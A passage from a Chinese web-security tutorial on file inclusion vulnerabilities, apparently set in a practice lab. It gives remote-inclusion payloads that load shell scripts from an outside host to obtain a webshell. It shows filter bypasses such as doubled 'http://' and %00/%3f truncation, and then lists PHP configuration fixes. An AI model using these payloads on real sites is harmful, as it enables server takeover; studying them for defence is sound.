【%3f就是?的url编码】
(8)漏洞利用:getshell
第一步:我们可以直接远程包含一个Shell,蚁剑连接该包含链接即可getshell
payload:?page=hthttp://tp://www.exploit.cool/shell.qwsn%00
第二步:远程包含一个wshell,在当前页面所在目录下创建一个Shell,我们再用菜刀
连接当前目录下的Shell即可getshell
payload:?page=HTTP://www.exploit.cool/wshell.qwsn?
(9)漏洞修复
开启magic_quotes_gpc(魔术字防护)参数开关
关闭allow_url_include(允许远程文件包含)参数开关
(10)漏洞总结
1.使用哪个文件包含函数?
include()函数
2.以什么方式读取待包含文件?
以动态变量引入的方式获取待包含文件:include($file . '.html.php');
3.攻击者对变量是否可控?
变量不完全可控:
$file = $_GET['page']
$file = str_replace( array( "http://", "https://" ),"", $file );
$file = str_replace( array( "../", "..\"" ), "", $file);
4.远程文件包含,对php的两个参数开关都做要求
allow_url_fopen=on
allow_url_include=on
5.%00截断,对php参数开关的要求:
magic_quotes_gpc=off
6.%23注释和%3f截断,对php的魔术字参数开关没有要求,但是只能是在远程文件包含的时候使用
magic_quotes_gpc=on
5.远程文件包含getshell姿势:
姿势1:直接蚁剑连接包含的shell即可
姿势2:远程包含一个wshell,生成一个当前页面目录下的shell,最后再蚁剑连接当前页面目录下的shell
祝大家新年快乐啊!!!!
删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式 删除线格式
版权声明:本文标题:89.网络安全渗透测试—[常规漏洞挖掘与利用篇5]—[文件包含漏洞详解&实战示例] 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dianzi/1729255509a1192613.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论